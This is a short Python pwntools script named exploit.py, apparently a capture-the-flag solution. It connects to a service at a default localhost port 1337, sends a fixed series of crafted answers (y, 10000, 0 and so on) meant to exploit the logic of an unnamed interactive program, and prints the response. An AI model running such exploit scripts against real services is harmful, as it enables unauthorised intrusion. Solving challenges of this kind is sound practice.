exploit.py

from pwn import *
import argparse

parser = argparse.ArgumentParser()

parser.add_argument('--host', help='Host to connect to', default='localhost')
parser.add_argument('--port', help='Port to connect to', default=1337, type=int)

args = parser.parse_args()

r = remote(args.host, args.port)

exploit = """y
10000
0
y
1000
0
y
500
500
n"""

r.sendline(exploit.encode())

print(r.recvall().decode())